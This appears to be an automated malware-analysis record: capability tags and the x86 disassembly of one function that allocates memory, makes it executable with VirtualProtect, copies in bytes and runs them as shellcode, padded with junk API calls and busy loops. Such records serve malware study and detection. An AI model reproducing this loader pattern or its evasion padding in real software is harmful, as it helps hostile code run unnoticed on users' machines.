Function at 0x4037aa
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x8055f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x154c
call fcn.0040d2d0
push ebx
push esi
xor esi, esi
cmp dword [0x8b8838], 0x5b1
push edi
jne 0x403879
push esi
lea eax, [esp + 0x15c]
push eax
push esi
push 0x402db0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x1c]
call fcn.00403b15
push esi
mov dword [esp + 0x1568], esi
call fcn.004046aa
pop ecx
call fcn.00404648
push 0x402e24
lea ecx, [esp + 0x10]
call fcn.00403380
lea ecx, [esp + 0xc]
call fcn.0040339c
lea ecx, [esp + 0xc]
call fcn.004033e2
lea ecx, [esp + 0xc]
call fcn.004033fb
push esi
push esi
call fcn.004049c7
push esi
call fcn.00404998
add esp, 0xc
push esi
call fcn.00404981
pop ecx
push esi
call fcn.00404c9f
pop ecx
push esi
call fcn.00404981
pop ecx
call fcn.00404a5a
add dword [0x8b8838], 0x1134b
push dword [0x8b8838]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push dword [0x8b8838]
mov dword [0x8b778c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x4038d1
inc edi
cmp edi, 0x4f6a4
jl 0x4038b1
xor edi, edi
cmp dword [0x8b8838], esi
jbe 0x40392c
cmp dword [0x8b8838], 0xa8
mov eax, dword [0x8b883c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8b778c]
mov byte [ecx + edi], al
jne 0x403923
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e38
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x8b8838]
jb 0x4038db
xor edi, edi
mov eax, dword [0x8b8838]
add eax, edi
cmp eax, 0xe
jne 0x40398f
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0x55c]
push eax
push esi
push 0x402eb0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402f48
push 0x402f5c
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x40392e
call fcn.00403688
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x4039ac
call fcn.00403790
inc edi
cmp edi, 0x6753f
jl 0x40399f
push 0x7b
pop edi
cmp dword [0x8b8838], 0x86
jne 0x403a0c
push esi
push esi
push esi
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x402f98
push 0x402fb8
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [esp + 0xd5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
dec edi
jne 0x4039b8
push 0x40302c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x155c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret